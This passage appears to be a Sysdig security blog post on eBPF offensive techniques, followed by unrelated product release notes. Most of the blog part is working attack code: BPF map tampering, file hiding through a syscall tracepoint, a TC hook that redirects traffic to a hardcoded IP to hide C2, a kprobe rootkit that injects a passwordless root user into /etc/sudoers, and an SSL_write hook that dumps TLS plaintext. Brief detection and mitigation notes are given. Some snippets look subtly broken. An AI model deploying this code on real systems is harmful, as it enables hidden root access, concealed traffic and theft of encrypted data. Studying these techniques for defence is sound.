First of all, we need to start looping through all the available maps. This can be done using the BPF_MAP_GET_NEXT_ID command, which will return the next available map id. We can use this command to loop through all the available maps. The following code shows how to do this:

static int bpf_obj_get_next_id(__u32 start_id, __u32 *next_id)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.start_id = start_id;

    err = sys_bpf(BPF_MAP_GET_NEXT_ID, &attr, attr_sz);
    if (!err)
        *next_id = attr.next_id;

    return err;
}

To loop through all the available maps, we can do something like this:

while (bpf_obj_get_next_id(next_id, &next_id) == 0) {
    // do something with the id
}

Once we have the map id, we can use the BPF_MAP_GET_FD_BY_ID command to get the file descriptor of the map. This can be done in the following way:

int bpf_map_get_fd_by_id_opts(uint32_t id, const struct bpf_get_fd_by_id_opts *opts)
{
    const size_t attr_sz = offsetofend(union bpf_attr, open_flags);
    union bpf_attr attr;
    int fd;

    if (!OPTS_VALID(opts, bpf_get_fd_by_id_opts))
        return libbpf_err(-EINVAL);

    memset(&attr, 0, attr_sz);
    attr.map_id = id;
    attr.open_flags = OPTS_GET(opts, open_flags, 0);

    fd = sys_bpf_fd(BPF_MAP_GET_FD_BY_ID, &attr, attr_sz);
    return libbpf_err_errno(fd);
}

Then we can retrieve the map file descriptor:

int fd = bpf_map_get_fd_by_id(next_id);

Once we have the file descriptor, we can get the map type and the map name using the BPF_OBJ_GET_INFO_BY_FD command:

int bpf_obj_get_info_by_fd(int bpf_fd, void *info, __u32 *info_len)
{
    const size_t attr_sz = offsetofend(union bpf_attr, info);
    union bpf_attr attr;
    int err;

    memset(&attr, 0, attr_sz);
    attr.info.bpf_fd = bpf_fd;
    attr.info.info_len = *info_len;
    attr.info.info = ptr_to_u64(info);

    err = sys_bpf(BPF_OBJ_GET_INFO_BY_FD, &attr, attr_sz);
    if (!err)
        *info_len = attr.info.info_len;
    return libbpf_err_errno(err);
}

Then we can retrieve the map type and the map name:

struct bpf_map_info info = {};
__u32 info_len = sizeof(info);
int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);

The struct bpf_map_info contains the map type and the map name. We can read them this way:

printf("map name: %s\n", info.name);
printf("map type: %d\n", info.type);

This is actually really useful if we want to filter the maps by name or by type:

if (!strcmp(info.name, "firewall") || info.type != BPF_MAP_TYPE_HASH) {
    // do something
}

Once we have all the needed information, we can start to interact with the map. For example, we can retrieve all the keys of the map using the BPF_MAP_GET_NEXT_KEY command:

int bpf_map_get_next_key(int fd, const void *key, void *next_key)
{
    const size_t attr_sz = offsetofend(union bpf_attr, next_key);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.next_key = ptr_to_u64(next_key);

    ret = sys_bpf(BPF_MAP_GET_NEXT_KEY, &attr, attr_sz);
    return libbpf_err_errno(ret);
}

And then we can look up the keys:

unsigned int key = -1;
unsigned int next_key = -1;
while (bpf_map_get_next_key(fd, key, next_key) == 0) {
    // do something with the key
}

With the BPF_MAP_LOOKUP_ELEM command, we can look up the value of a given key:

int bpf_map_lookup_elem(int fd, const void *key, void *value)
{
    const size_t attr_sz = offsetofend(union bpf_attr, flags);
    union bpf_attr attr;
    int ret;

    memset(&attr, 0, attr_sz);
    attr.map_fd = fd;
    attr.key = ptr_to_u64(key);
    attr.value = ptr_to_u64(value);

    ret = sys_bpf(BPF_MAP_LOOKUP_ELEM, &attr, attr_sz);
    return libbpf_err_errno(ret);
}

The final code will look like this:

int main(int argc, char **argv)
{
    unsigned int next_id = 0;

    while (bpf_obj_get_next_id(next_id, &next_id, BPF_MAP_GET_NEXT_ID) == 0)
    {
        int fd = bpf_map_get_fd_by_id(next_id);

        if (fd < 0)
        {
            printf("bpf_map_get_fd_by_id failed: %d (%d)\n", fd, errno);
            return 1;
        }

        struct bpf_map_info info = {};
        __u32 info_len = sizeof(info);
        int ret = bpf_obj_get_info_by_fd(fd, &info, &info_len);

        if (ret < 0)
        {
            printf("bpf_obj_get_info_by_fd failed: %d (%d)\n", ret, errno);
            return 1;
        }

        printf("map fd: %d\n", fd);
        printf("map name: %s\n", info.name);
        printf("map type: %s\n", bpf_map_type_to_string(info.type));
        printf("map key size: %d\n", info.key_size);
        printf("map value size: %d\n", info.value_size);
        printf("map max entries: %d\n", info.max_entries);
        printf("map flags: %d\n", info.map_flags);
        printf("map id: %d\n", info.id);

        unsigned int next_key = 0;

        printf("keys:\n");
        while (bpf_map_get_next_key(fd, &next_key, &next_key) == 0)
        {
            void *value = malloc(info.value_size);
            ret = bpf_map_lookup_elem(fd, &next_key, value);

            if (ret == 0)
            {
                printf("    - %d\n", next_key);
                map_hexdump(value, info.value_size);
                printf("\n");
            }
        }

        printf("------------------------\n");
    }

    return 0;
}

Once we have access to the file descriptor, it’s just a matter of reversing the map content and interpreting it. This would allow an attacker to modify the map content and change the behavior of the eBPF program (e.g., bypassing security checks).

A funny attack could be abusing the BPF_MAP_FREEZE command, as stated in the documentation:

/*
 * BPF_MAP_FREEZE
 *  Description
 *      Freeze the permissions of the specified map.
 *
 *      Write permissions may be frozen by passing zero *flags*.
 *      Upon success, no future syscall invocations may alter the
 *      map state of *map_fd*. Write operations from eBPF programs
 *      are still possible for a frozen map.
 *
 *      Not supported for maps of type **BPF_MAP_TYPE_STRUCT_OPS**.
 *
 *  Return
 *      Returns zero on success. On error, -1 is returned and *errno*
 *      is set appropriately.
 */

Doing so would prevent any future syscall to alter the map state from userspace (e.g., bypassing security checks). This means that the map content can be modified only by eBPF programs.

Hiding files with Kprobes

Hooking syscalls from the kernel itself is quite handy when it comes to hiding files, folders, or even processes from the user. The following example shows how to hide a specific file from any command that tries to read it (e.g., cat, nano, grep etc.).

It works by setting a tracepoint on the sys_enter event which gets triggered every time a syscall is invoked, then it checks if the syscall id is SYS_openat and if the path matches the one we want to hide. If so, it overwrites the path with a null byte. This example uses maps to store both the target path and eventually the target process name and pid. This allows us to hide the file only for a specific process or for all the processes.

The first thing to do is create a new tracepoint using the BPF_PROG_TYPE_RAW_TRACEPOINT program type. This can be done like this:

SEC("raw_tracepoint/sys_enter")
int raw_tracepoint__sys_enter(struct bpf_raw_tracepoint_args *ctx)
{
    // your code here

    return 0;
}

SEC is a macro that is used to specify the section of the program. In this case, we are using the raw_tracepoint/sys_enter section. This section will be used by libbpf to attach the program to the sys_enter tracepoint.

The bpf_raw_tracepoint_args struct contains the arguments passed to the tracepoint. In this case, the first argument is a pointer to the pt_regs struct. This structure contains the registers of the current process. The second argument is the syscall id, so we want to check if the syscall id is SYS_openat and, if so, we want to overwrite the path with a null byte.

unsigned long syscall_id = ctx->args[1];
struct pt_regs *regs;
regs = (struct pt_regs *)ctx->args[0];
if (syscall_id == SYS_openat)
{
    // do something
}

In order to communicate with the running program in user-mode, we shared a struct like the following:

struct target
{
    int pid;
    char procname[16];
    char path[256];
};

struct
{
    __uint(type, BPF_MAP_TYPE_HASH);
    __type(key, u32);
    __type(value, struct target);
    __uint(max_entries, 1);
} target SEC(".maps");

The same struct must be defined on the golang side:

type Target struct {
    Pid  uint32
    Comm [16]byte
    Path [256]byte
}

We then can update the struct from the user-space like this:

targetMap, err := bpfModule.GetMap("target")
if err != nil {
    fmt.Fprintln(os.Stderr, err)
    os.Exit(-1)
}

// update the map

key := uint32(0x1337)
var val Target
copy(val.Comm[:], procname)
copy(val.Path[:], filepath)
val.Pid = uint32(pid)
keyUnsafe := unsafe.Pointer(&key)
valueUnsafe := unsafe.Pointer(&val)
targetMap.Update(keyUnsafe, valueUnsafe)

In order to make everything work, we would need some utility functions since eBPF programs can’t use libc functions. The following functions are used to manipulate strings:

static __always_inline __u64
__bpf_strncmp(const void *x, const void *y, __u64 len)
{
    // implement strncmp
    for (int i = 0; i < len; i++)
    {
        if (((char *)x)[i] != ((char *)y)[i])
        {
            return ((char *)x)[i] - ((char *)y)[i];
        }
        else if (((char *)x)[i] == '\0')
        {
            return 0;
        }
    }

    return 0;
}

static __always_inline __u64
__bpf_strlen(const void *x)
{
    // implement strlen
    __u64 len = 0;
    while (((char *)x)[len] != '\0')
    {
        len++;
    }
    return len;
}

The final code will look like this:

if (syscall_id == SYS_openat)
{
    struct target *tar;
    u32 key = 0x1337;
    tar = bpf_map_lookup_elem(&target, &key);
    if (!tar)
    {
        return 0;
    }
    else
    {
        char pathname[256];
        char *pathname_ptr = (char *)PT_REGS_PARM2_CORE(regs);
        bpf_core_read_user_str(&pathname, sizeof(pathname), pathname_ptr);

        char comm[16];
        bpf_get_current_comm(&comm, sizeof(comm));

        u32 pid = bpf_get_current_pid_tgid() >> 32;
        bool match = false;

        if (tar->pid != 0 && pid == tar->pid)
        {
            match = true;
        }

        if (!match && __bpf_strncmp(comm, tar->procname, sizeof(comm)) == 0)
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }
        else
        {
            if (!match && __bpf_strncmp(pathname, tar->path, sizeof(pathname)) == 0)
            {
                match = true;
            }
        }

        if (match)
        {

            if (bpf_probe_write_user(pathname_ptr, "\x00", 1) != 0)
            {
                return 0;
            }
        }
    }
}

Another approach to obtain the same result is by hooking SYS_getdents and filtering the file we want to hide from the list of files returned by the syscall.

From a defensive perspective, it’s possible to detect this kind of attack by using eBPF to monitor syscalls to SYS_bpf and check if the attacker is trying to load a program that hooks syscalls. This can be done by checking the BPF_PROG_TYPE_RAW_TRACEPOINT inside the bpf_prog_info struct.

Traffic redirection with TC

Another important feature of eBPF is the ability to modify incoming and outgoing traffic on the fly, which can be done using the TC hook. This hook is executed after the packet has been processed by the kernel, meaning that the packet has already been processed by the XDP hook if it was attached to the interface.

TC can be abused to hide malicious traffic and is really useful when it comes to hiding C2 traffic. The following example shows how to redirect all the traffic to a specific IP address. This way, anyone monitoring the traffic on the interface won’t be able to see the real destination of the packets.

The first thing to do is create a new TC hook like this:

SEC("tc")
int tc_prog(struct __sk_buff *skb)
{
    return TC_ACT_OK;
}

The return value can be either TC_ACT_OK or TC_ACT_SHOT. The first one means that the packet should be processed normally, the second one means that the packet should be dropped, so pay attention to this otherwise you will end up dropping all the traffic.

The struct __sk_buff struct contains all the information about the packet. We can use this struct to retrieve the destination IP address and modify it. The following code shows how to do this:

struct iphdr *iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
if ((void *)(iph + 1) > skb->data_end)
{
    return TC_ACT_OK;
}

if (iph->protocol == IPPROTO_TCP)
{
    // get tcphdr
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    if ((void *)(tcph + 1) > skb->data_end)
    {
        return TC_ACT_OK;
    }

    // get tcp dst addr and dst port
    __u32 dst_addr = bpf_htonl(iph->daddr);
    __u16 dst_port = bpf_htons(tcph->dest);

    if (dst_addr == 0xDEADBEEF)
    {
        // check if dst port is 0x1337
        if (dst_port == 0x1337)
        {
            // modify dest port to 1234
            u16 new_dst_port = bpf_htons(1234);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + sizeof(struct iphdr) + offsetof(struct tcphdr, dest), &new_dst_port, sizeof(new_dst_port), BPF_F_RECOMPUTE_CSUM);

            // modify dest addr to 15.204.197.177
            u32 new_dst_addr = bpf_htonl(0x0FC4C5B1);
            bpf_skb_store_bytes(skb, sizeof(struct ethhdr) + offsetof(struct iphdr, daddr), &new_dst_addr, sizeof(new_dst_addr), BPF_F_RECOMPUTE_CSUM);

            iph = (struct iphdr *)(skb->data + sizeof(struct ethhdr));
            if ((void *)(iph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            if ((void *)(tcph + 1) > skb->data_end)
            {
                return TC_ACT_OK;
            }

            dst_port = bpf_htons(tcph->dest);
            dst_addr = bpf_htonl(iph->daddr);
        }
    }
}

Just remember to update the checksums after modifying the packet, otherwise the packet will be dropped by the kernel.

To detect such attacks, it is sufficient to use external monitoring tools or hardware since once the packet has been processed by the kernel it’s possible to see the actual destination of the packet.

Sudoers hidden root account

Creating a hidden user is a neat feature when it comes to hiding malicious behaviors. This can be achieved by using eBPF to hook SYS_open and SYS_read syscalls, and then by crafting a custom entry inside /etc/sudoers file when sudo tries to read it. The code below is just an example of how such capabilities can be achieved.

In order to do so, we created three different kprobes: one on SYS_openat2, one on SYS_read, and one on SYS_exit. The logic is as follows:

1 – when SYS_openat2 is called, we save the file descriptor of /etc/sudoers and the calling process pid inside a map.

2 – when SYS_read is called, we check if the file descriptor is the one we saved before; if so, we save the destination buffer inside the map.

3 – when SYS_exit is called, we check if the process pid is present inside our map; if so, we close the file descriptor and remove it from our map to prevent race conditions when two processes have the same fd number.

The final code looks like this:

#define USERNAME        "rootkit"
#define NEW_SUDOERS     "root ALL=(ALL:ALL) ALL\n" USERNAME " ALL=(ALL) NOPASSWD:ALL\n"
#define PAD_CHAR        '\0'    // can also be '#'
#define MAX_SUDOERS_SIZE 20000
​
#define true    1
#define false   0
#define bool    int

​
SEC("kprobe/do_sys_openat2")
int kprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct filename *filename;
   bpf_probe_read(&filename, sizeof(filename), &ctx->si);
​
   char name[256];
   bpf_probe_read_str(name, sizeof(name), &filename->name);
​
   if (strcmp(name, "/etc/sudoers") == true) {
       size_t pt = bpf_get_current_pid_tgid();
       // first write fd = -1 to the map as we are currently at the start of the function
       // and we don't know the value of it yet, we also don't know the destination buffer
       // until kprobe/ksys_read, so set it to NULL for now
       struct fd_dest fdest = { .fd = -1, .dest = NULL };
​
       bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_NOEXIST);
   }
​
   return 0;
}
​
SEC("kretprobe/do_sys_openat2")
int kretprobe__do_sys_openat2(struct pt_regs *ctx) {
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // check if we already saved the fd of /etc/sudoers to the map
   if (fdest.fd != -1)
       return 0;
​
   // read the rax value, which contains the fd of the opened file
   bpf_probe_read(&fdest.fd, sizeof(fdest.fd), &ctx->ax);
​
   // update fd from -1 to the actual fd
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kprobe/ksys_read")
int kprobe__ksys_read(struct pt_regs *ctx) {
   int fd;
   struct fd_dest fdest;
   void *read_dest = NULL;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   // if we still haven't hit kretprobe of do_sys_openat2
   // (the fd of /etc/sudoers is not saved yet)
   // also skip if the destination buffer was already saved
   if (fdest.fd == -1 || fdest.dest != NULL)
       return 0;
​
   bpf_probe_read(&fd, sizeof(fd), &ctx->di);
   // check if the read fd matches the fd of the /etc/sudoers file
   if (fd != fdest.fd)
       return 0;
​
   // the destination buffer pointer is within rsi register
   // read its value and write it to the map
   bpf_probe_read(&fdest.dest, sizeof(fdest.dest), &ctx->si);
   bpf_map_update_elem(&sudoers_map, &pt, &fdest, BPF_EXIST);
​
   return 0;
}
​
SEC("kretprobe/ksys_read")
int kretprobe__ksys_read(struct pt_regs *ctx) {
   size_t bytes_read = 0;
   struct fd_dest fdest;
   size_t pt = bpf_get_current_pid_tgid();
​
   void *val = bpf_map_lookup_elem(&sudoers_map, &pt);
   if (val == NULL)
       return 0;
​
   bpf_probe_read(&fdest, sizeof(fdest), val);
   if (fdest.dest == NULL)
       return 0;
​
   size_t new_sudoers_len = strlen(NEW_SUDOERS);
​
   bpf_probe_read(&bytes_read, sizeof(bytes_read), &ctx->ax);
   if (bytes_read == 0 || bytes_read < new_sudoers_len)
       return 0;
​
   // write NEW_SUDOERS to the beginning of the file
   bpf_probe_write_user(fdest.dest, NEW_SUDOERS, new_sudoers_len);
​
   // pad the rest of the /etc/sudoers with PAD_CHAR
   // i < MAX_SUDOERS_SIZE check is needed otherwise the verifier won't allow
   // the program to load
   char tmp = PAD_CHAR;
   for (u32 i = new_sudoers_len; i < bytes_read && i < MAX_SUDOERS_SIZE; i++)
       bpf_probe_write_user(fdest.dest + i, &tmp, sizeof(tmp));
​
   return 0;
}
​
SEC("kprobe/do_exit")
int kprobe__do_exit(struct pt_regs *ctx) {
   size_t pt = bpf_get_current_pid_tgid();
​
   // if the pid_tgid is found within the map then the process that's currently
   // exiting is a process that previously read /etc/sudoers, remove it from the map
   if (bpf_map_lookup_elem(&sudoers_map, &pt))
       bpf_map_delete_elem(&sudoers_map, &pt);
​
   return 0;
}

The only effective way to defend against this kind of rootkit is to use eBPF to monitor SYS_bpf syscall.

SSL plaintext dump with Uprobe

It’s not only syscalls that can be hooked, but also user space functions. This can be done by using uprobes. Uprobe hooking works under the hood by using INT3 instructions to set breakpoints on the target function. This means that the binary must be compiled with debug symbols in order to be easily hooked. When the breakpoint is hit, the kernel will invoke the eBPF program and pass the context to it. This context contains the registers and the stack of the target process. This means that the eBPF program can read and write the stack of the target process.

The example below shows how to hook the SSL_write function from OpenSSL and dump the plaintext of the SSL connection.

SEC("uprobe/SSL_write")
int uprobe__SSL_write(struct pt_regs *ctx)
{
    size_t len = (size_t)PT_REGS_PARM3(ctx);
    char *buf = (char *)PT_REGS_PARM2(ctx);

    // check if len is greater than 0
    if (len > 0 && buf != NULL)
    {

        if (len > 256)
        {
            len = 256;
        }

        bpf_printk("SSL_write RSI: %p\n", buf);

        ssl_result_t *res;
        u32 key = 0;

        res = bpf_map_lookup_elem(&ssl_results, &key);
        if (!res)
        {
            return 0;
        }

        bpf_probe_read_user_str(&res->msg, len, buf);
        bpf_get_current_comm(&res->comm, sizeof(res->comm));
        res->pid = bpf_get_current_pid_tgid() >> 32;
        bpf_perf_event_output(ctx, &ssl_events, BPF_F_CURRENT_CPU, res, sizeof(*res));
    }

    return 0;
}

SSL_write has the following signature:

int SSL_write(SSL *ssl, const void *buf, int num);

RSI register will hold the pointer to the buffer containing the data to be sent (plaintext).

Protecting against this kind of attack is trivial, since this will make changes to the .text segment, developers could implement some kind of integrity check (CRC32) to detect if the binary has been modified.

eBPF exploitation

eBPF is the perfect target for hackers. Given the complexity of the verifier, it’s very likely in the near future that some bugs will be found and exploited.

Fuzzing is still the preferred way to find bugs in the kernel, but it’s not easy to fuzz eBPF programs. The verifier is very strict and it’s not easy to generate valid programs. Some clever approaches have been developed to overcome this problem. For example, Buzzer from Google is a fuzzer that uses logs from the verifier itself to generate valid programs, and also KCOV to trace the coverage of the generated samples.

This approach resulted in the discovery of some bugs in the verifier, CVE-2023-2163 for example. Anyway there’s still some room for improvement, like fuzzing the side effects of kernel helper functions. This could be done by better implementing the samples’ generation logic, and, given the small number of instructions supported by the eBPF VM, it’s possible to implement a fuzzer that generates valid programs by using a grammar-based approach.

Also, entirely porting the verifier to userspace could be a good idea. This will allow us to fuzz the verifier itself with the help of assertion to force it to crash when it encounters some invalid assumptions.

Mitigation

The most effective way to mitigate such attacks is to restrict usage of SYS_bpf to the root user. This can be done by setting the kconfig knob BPF_UNPRIV_DEFAULT_OFF, which is the default at the moment of writing.
Another option is using monitoring tools such as Falco to monitor syscall usage and detect abuse of such.
In addition to the above methods, also using bpftool could be useful to get insight about loaded bpf programs and their respective usage (Kprobe, TC, and so on).

Conclusion

eBPF is a very powerful technology that allows us to extend the kernel functionality in a safe way. It’s used in production by many companies and it’s likely that it will be used even more in the future. But also, threat actors can take advantage of this technology to hide their malicious activities, bypass security checks, and even exploit the kernel.

The best way to deal with those kinds of next-gen attacks is to fully use the power of eBPF to monitor the kernel and detect suspicious activities.

Falco provides a great example of how eBPF can be used to detect malicious activities. Also, Falco supports monitoring eBPF syscall, thus allowing it to detect eBPF exploitation attempts.

References:

• https://github.com/google/buzzer
• https://pentera.io/blog/the-good-bad-and-compromisable-aspects-of-linux-ebpf/
• https://stdnoerr.github.io/writeup/2022/08/21/eBPF-exploitation-(ft.-D-3CTF-d3bpf).html
• https://elixir.bootlin.com/linux/v6.4.3/source/kernel/bpf/verifier.c
• https://ebpf.io/https://www.collabora.com/news-and-blog/blog/2019/04/15/an-ebpf-overview-part-2-machine-and-bytecode/

The post eBPF Offensive Capabilities – Get Ready for Next-gen Malware appeared first on Sysdig.

Sysdig Announces Revolutionary Generative AI Defense for Cloud Security! Sysdig Sage is a generative AI assistant built on a unique AI architecture specifically designed for cloud security. Sysdig Sage goes beyond typical AI chatbots to employ multi step reasoning and multidomain correlation to quickly discover, prioritize, and remediate risks specific to the cloud. It also leverages the power of Sysdig runtime insights to reveal hidden connections between risks and security events that would otherwise go undetected. You can find more information on this here.

Stay tuned for more updates from Sysdig, and let’s get started!

Sysdig Secure

Agentless Threat Detection for GitHub (CA)

Your GitHub organizations can be now secured with Sysdig agentless CDR, which extends its capabilities adding the first Git provider to the list of supported sources. By installing the Sysdig app on GitHub, it will be possible to enable our Falco-powered threat detection capabilities. Read how to do that in our documentation. You will also find policies and rules provided and maintained constantly by our Threat Research Team, along with the possibility to create your own custom ones.

Agentless Threat Detection for Okta (Preview)

Sysdig agentless CDR extends its coverage by adding support for Okta, the first Identity provider in the list of supported sources. You can now connect Okta organizations to Sysdig and use the power of Falco rules to detect threats in your environment. Along with the customizability of Falco rules, Sysdig provides managed policies and rules that are constantly being updated.

Control Access to Zones and Posture Policies

Sysdig is introducing two new permission items under Sysdig Secure → Policies:

• Zones (Read, Edit)
• Posture Policies (Read, Edit)

These permission items enable administrators to control who can edit access to Zones and Posture Policies, including APIs.

Existing roles are updated with the following permissions:

• Default Roles: Team Manager, Advanced User:
  • Zones → Edit, Posture Policies → Edit
• All Existing Custom Roles and Default Roles: Service Manager, Standard User, View Only:
  • Zones → Read, Posture Policies → Read

Runtime Rule Tuner Updated

When applying exceptions to tune rules and turn down noisy event notifications, the interface has been simplified and improved.

• Exception information now presented in easy-to-understand name/value pairs
• Values can be freely edited
• Explicit “Apply” button added for each exception, making the choices conscious and avoiding security blindspots
• If you are using Terraform to manage exceptions, you can now view the suggested exception as a Terraform snippet and copy/paste it into your Terraform file
• Impacted policies and any already-applied exceptions are displayed to help you make more informed decisions

See how to use the improved feature in the Events feed. You can also access it from Insights.

Sysdig Monitor

Cost Advisor reaches GA, packed with new features

We’re excited to announce a significant milestone in Sysdig’s journey towards helping teams get visibility into, and optimize Kubernetes Costs. Cost Advisor is now generally available and we’ve made significant improvements.

• Private Billing, currently available for AWS, reconciles costs with your specific AWS billing agreements. Usage of reserved and spot instances, as well as savings plans and other discounts will be used to calculate costs. This integration will be useful for customers that want more accurate costs instead of relying on public on-demand pricing.

• We’ve added support for storage, load balancer, and idle costs. This paints a fuller picture of your Kubernetes costs where workloads are leveraging persistent volumes and load balancers, and idle costs gives platform teams insights into the cost of used cluster capacity – a great indicator as to whether a cluster can be reshaped or scaled down.
• Cost Explorer empowers users to explore costs in detail with granular segmentation. This helps users understand, for example, what is the cost of a workload that is running across multiple clusters.
• Cost Reports streamlines cost reporting processes with the ability to set up period report generation that can be exported to 3rd party systems, and Slack and email notifications help create a culture of cost discipline. 

• We’ve made improvements to workload rightsizing to give users more control over the recommendations provided. Depending on whether a workload is production / HA grade, or a staging / dev setup, when rightsizing a workload users can choose between more conservative or aggressive recommendations.

New Alerting Capabilities

Sysdig has recently introduced a new feature that enables users to manually resolve triggering alerts. This enhancement allows users to exercise direct control over the alert resolution process. In addition, Sysdig Monitor now includes the automatic deactivation of orphaned alert occurrences. Orphaned alert occurrences refer to alerts triggered by entities that no longer report data. This automatic deactivation process ensures that alert occurrences originate only from entities that are actively providing data to Sysdig Monitor. For example, it prevents situations where alerts are triggered by a database that was decommissioned months ago, eliminating potential confusion.

Furthermore, Sysdig Monitor now incorporates the Alert Resolution Delay for PromQL Alerts. This feature is designed to curtail noisy alert resolutions by imposing a requirement that an alert condition must remain resolved for a user-defined duration before being marked as officially resolved. This aspect adds a layer of precision to the resolution process, leading to a more efficient alert management workflow.

Metrics Usage

Metrics Usage has been updated with two new features (Total Time Series Count panel, Per-metric Time Series Churn Over Time & Label Exploration).

Monitoring Integrations

• Added support for Istio 1.16.
• Added an option in Windows Installer to change the Prometheus agent port.
• Added time charts for CPU and Memory usage in the Cluster Capacity Planning Dashboard.

Sysdig Agents

12.16.0 August 08, 2023

Feature enhancements

Supports Control Group v2

Control groups v2 (cgroups v2) are now supported in the Sysdig Agent. In particular, the v1 freezer subsystem is not mounted when using cgroups v2, which causes potential compatibility issues.

Collects node labels

Sysdig Agent can by default collect the node-role.kubernetes.io/* labels set on nodes.

Known issues

Container Limits to Drift Control

• For kernel versions below v5.13, Drift Control can monitor up to 128 containers per node.
• For kernel versions v5.13 or above, modify the container limit using one of the following methods:
  • Open the sysctl -n fs.fanotify.max_user_groups file and set the new value by using sysctl -w fs.fanotify.max_user_groups=<new_limit>.
  • Open the cat /proc/sys/fs/fanotify/max_user_groups file and run echo <new_limit> > /proc/sys/fs/fanotify/max_user_groups.
    Replace <new_limit> with your choice of container limit.

Defect fixes

Removed compliance manager support

Compliance manager functionality has been removed from Sysdig Agent. The feature was not supported anymore and yet it appeared in a security audit as having a vulnerability. For these reasons, this functionality has been dismissed.

Ignores non-running pods for scraping

The Prometheus k8s-pods job configuration has been modified to drop scrapes from non-running pods.

Enables FIPS mode

The agent can now enable FIPS-compliant (Federal Information Processing Standards) mode even if the whole system isn’t in FIPS-compliant mode.

Resends unacknowledged policy events

Sysdig Agent attempts at resending unacknowledged policy events when the collector disconnects.

Adds missing health metrics in secure modes

An additional metric is collected in the secure and secure_light modes. The protobuf output for secure and secure_light mode now includes an aggrSamplingRatio aggregation field, weighted to the negotiated metrics interval.

SDK, CLI, and Tools

Sysdig CLI

v0.7.14 is still the latest release. The instructions on how to use the tool and the release notes from previous versions are available at the following link:

https://sysdiglabs.github.io/sysdig-platform-cli/

Python SDK

The Python SDK remains at v0.16.6.

Terraform Provider

We have just released the 1.12.0 version of terraform provider. This release includes:

• Add form based prometheus alert type
• Add change alert type
• Add resource for silence rule
• Add new notification channel types
• Add missing arguments to (legacy) webhook notification channels
• Add missing arguments to monitor slack notification channels
• Allow usage of alerts v2 on IBM
• Hotfix cspm policy creation

https://docs.sysdig.com/en/docs/developer-tools/terraform-provider

Terraform Modules

• AWS Sysdig Secure for Cloud remains unchanged at v10.0.9
• GCP Sysdig Secure for Cloud remains unchanged at v0.9.10
• Azure Sysdig Secure for Cloud changed to v0.9.7
  • Support use of Reader role in Trust Relationship module (#91)
    • feat: Support using Reader CSPM role
  • linting fixes

Falco VSCode Extension

v0.1.0 is still the latest release.

https://github.com/sysdiglabs/vscode-falco/releases/tag/v0.1.0

Sysdig Cloud Connector

New Cloud Connector changes to (v0.16.47) under helm chart 0.8.2:

Admission Controller

New Admission Controller release (3.9.25) under helm chart 0.11.3.

Sysdig CLI Scanner

Sysdig CLI Scanner changed to v1.5.1.

When you run cli-scanner with the --json-scan-result parameter, the severities in JSON keys are not capitalized anymore. For example:

"vulnTotalBySeverity": {

"Critical": 2,

"High": 65,

"Low": 24,

"Medium": 107,

"Negligible": 417

},

…has been changed to:

"vulnTotalBySeverity": {

"critical": 2,

"high": 65,

"low": 24,

"medium": 107,

"negligible": 417

},

This change impacts the following JSON objects:

• vulnTotalBySeverity
• fixableVulnTotalBySeverity

https://docs.sysdig.com/en/docs/sysdig-secure/vulnerabilities/pipeline/

Sysdig Secure Inline Scan Action

The latest release remains unchanged at v3.5.0.

https://github.com/marketplace/actions/sysdig-secure-inline-scan

Sysdig Secure Jenkins Plugin

The Sysdig Secure Jenkins Plugin remains at version v2.3.0.

https://plugins.jenkins.io/sysdig-secure/

Prometheus Integrations

Prometheus Integrations remains at 1.16.0:

https://github.com/draios/prometheus-integrations/releases/tag/v1.16.0

Integrations:

• Fix: Preserve istio_build and pilot_proxy_convergence_time_bucket metrics on IstioD job
• Feat: Add support for Istio 1.16
• Docs: Fix k8s-PVC integration prerequisites
• Feat: Add in Windows Installer an option to change the Prometheus agent port
• Fix: Some control plane integrations have wrong label used for aggregation
• Feat: Tweak PromQL filters in order to avoid great amount of TS in the subqueries
• Test: Create a test to check the Prometheus jobs files are correct

Sysdig On-premise

On-prem release v6.4 is the latest release!

Upgrade process

Supported upgrades from: 5.0.x, 5.1.x, 6.x

For the full supportability matrix, see the Release Notes. This repository also includes the on-prem Installation instructions.

Platform fixes

• Fixed an issue with fresh installations and upgrades with FIPS mode enabled on backend hosts.
• Fixed an intermittent issue accessing the Sysdig UI when using a newly created team.
• Fixed an init container issue for the sysdigcloud-feeds-db deployment that would use the wrong mount point.

Falco Threat Detection Rules Changelog

Several versions of the rules have been released in the last months. Below are the release notes for the most recent rules changes.

https://docs.sysdig.com/en/docs/release-notes/falco-rules-changelog/

• Reduced false positives for the Launch Root User Container rule.
• Added the following rules:
  • AWS ECS Create Task Definition
  • AWS RDS Master Password Update
  • AWS IAM Credential Report Request
• Updated the IoCs Ruleset with new findings.
• Improved the network_tool_binaries list.
• Added support for accept4 syscall.

Default policy changes

Added the following rules:

• AWS ECS Create Task Definition
• AWS RDS Master Password Update
• AWS IAM Credential Report Request
• Improve condition for Azure RDP Access Is Allowed from The Internet rule
• Improve condition for Azure SSH Access Is Allowed from The Internet rule

Default policy changes

Remove the AWS IAM Credential Report Request rule from policy.

• Reduced false positives for the following rules:
  • Write below root
  • Set Setuid or Setgid bit
  • Possible Backdoor using BPF
  • Non sudo setuid
  • Launch Sensitive Mount Container
• Updated the IoCs Ruleset with new findings
• Improve output for the Fileless Malware Detected (memfd) rule

Default policy changes

Removed Packet socket created in containercode> from the Sysdig Runtime Notable Events policy.

